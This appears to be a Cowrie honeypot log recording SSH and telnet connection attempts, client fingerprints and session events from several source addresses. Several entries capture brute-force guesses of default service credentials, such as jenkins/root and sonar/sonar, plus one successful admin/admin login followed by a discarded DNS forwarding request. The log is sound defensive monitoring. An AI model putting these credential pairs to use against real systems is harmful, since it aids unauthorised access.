{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":39072,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9aa7d3a862e","protocol":"ssh","message":"New connection: 122.168.114.167:39072 (159.203.135.109:22) [session: f9aa7d3a862e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:14.240598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:19.783731Z","src_ip":"122.168.114.167","session":"f9aa7d3a862e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:19.787436Z","src_ip":"122.168.114.167","session":"f9aa7d3a862e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.78.46.81","src_port":47525,"dst_ip":"10.17.0.5","dst_port":22,"session":"512cbd3dadb7","protocol":"ssh","message":"New connection: 218.78.46.81:47525 (10.17.0.5:22) [session: 512cbd3dadb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:46.427593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:47.057405Z","src_ip":"218.78.46.81","session":"512cbd3dadb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:47.895358Z","src_ip":"218.78.46.81","session":"512cbd3dadb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":32834,"dst_ip":"159.203.135.109","dst_port":22,"session":"203b077bbceb","protocol":"ssh","message":"New connection: 103.13.206.208:32834 (159.203.135.109:22) [session: 203b077bbceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:48.426238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:48.430443Z","src_ip":"103.13.206.208","session":"203b077bbceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:48.667656Z","src_ip":"103.13.206.208","session":"203b077bbceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":48512,"dst_ip":"10.17.0.5","dst_port":22,"session":"272077b66ec7","protocol":"ssh","message":"New connection: 210.114.22.126:48512 (10.17.0.5:22) [session: 272077b66ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:49.220851Z"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"root","message":"login attempt [jenkins/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:49.646597Z","src_ip":"103.13.206.208","session":"203b077bbceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:49.946494Z","src_ip":"218.78.46.81","session":"512cbd3dadb7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:50.122268Z","src_ip":"210.114.22.126","session":"272077b66ec7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:50.320409Z","src_ip":"210.114.22.126","session":"272077b66ec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:50.885279Z","src_ip":"103.13.206.208","session":"203b077bbceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1qaz2wsx3edc","message":"login attempt [git/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:52.135385Z","src_ip":"210.114.22.126","session":"272077b66ec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":52698,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed72d1213908","protocol":"telnet","message":"New connection: 18.218.118.203:52698 (10.17.0.5:23) [session: ed72d1213908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:53.160271Z"}
{"eventid":"cowrie.session.closed","duration":0.03306937217712402,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:53.193161Z","src_ip":"18.218.118.203","session":"ed72d1213908","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:53.502997Z","src_ip":"210.114.22.126","session":"272077b66ec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50592,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1953d884802","protocol":"ssh","message":"New connection: 87.251.64.176:50592 (10.17.0.5:22) [session: d1953d884802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:58.218525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:58.222522Z","src_ip":"87.251.64.176","session":"d1953d884802","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:58.318346Z","src_ip":"87.251.64.176","session":"d1953d884802","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:58.606765Z","src_ip":"87.251.64.176","session":"d1953d884802","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:58.705535Z","session":"d1953d884802","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:58.803569Z","src_ip":"87.251.64.176","session":"d1953d884802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:27:58.902591Z","src_ip":"87.251.64.176","session":"d1953d884802","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":41472,"dst_ip":"159.203.135.109","dst_port":22,"session":"c948da714f02","protocol":"ssh","message":"New connection: 122.168.114.167:41472 (159.203.135.109:22) [session: c948da714f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:00.243261Z"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:03.275451Z","src_ip":"122.168.114.167","session":"f9aa7d3a862e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:06.165695Z","src_ip":"122.168.114.167","session":"c948da714f02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:06.438161Z","src_ip":"122.168.114.167","session":"c948da714f02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":42234,"dst_ip":"159.203.135.109","dst_port":23,"session":"a70996dd09c4","protocol":"telnet","message":"New connection: 18.218.118.203:42234 (159.203.135.109:23) [session: a70996dd09c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:09.219080Z"}
{"eventid":"cowrie.session.closed","duration":0.03396916389465332,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:09.252956Z","src_ip":"18.218.118.203","session":"a70996dd09c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"56.5","message":"Connection lost after 56.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:10.787125Z","src_ip":"122.168.114.167","session":"f9aa7d3a862e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":45640,"dst_ip":"10.17.0.5","dst_port":22,"session":"390652514c5e","protocol":"ssh","message":"New connection: 141.11.21.145:45640 (10.17.0.5:22) [session: 390652514c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:18.448375Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:18.528192Z","src_ip":"141.11.21.145","session":"390652514c5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":45650,"dst_ip":"10.17.0.5","dst_port":22,"session":"446ac113aa9a","protocol":"ssh","message":"New connection: 141.11.21.145:45650 (10.17.0.5:22) [session: 446ac113aa9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:18.600138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:18.603532Z","src_ip":"141.11.21.145","session":"446ac113aa9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:18.679791Z","src_ip":"141.11.21.145","session":"446ac113aa9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"test123","message":"login attempt [weblogic/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:18.914329Z","src_ip":"141.11.21.145","session":"446ac113aa9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:19.995068Z","src_ip":"141.11.21.145","session":"446ac113aa9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00110220909119,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:24.931473Z","src_ip":"45.177.81.187","session":"22bf7b145a25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00182032585144,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:30.961034Z","src_ip":"45.177.81.187","session":"8c3d133e9266","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:33.268354Z","src_ip":"122.168.114.167","session":"c948da714f02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":43864,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a187f36dcef","protocol":"ssh","message":"New connection: 122.168.114.167:43864 (159.203.135.109:22) [session: 2a187f36dcef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:35.675095Z"}
{"eventid":"cowrie.session.closed","duration":"41.4","message":"Connection lost after 41.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:41.686978Z","src_ip":"122.168.114.167","session":"c948da714f02","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:28:42.824286Z","src_ip":"122.168.114.167","session":"2a187f36dcef","protocol":"ssh"}
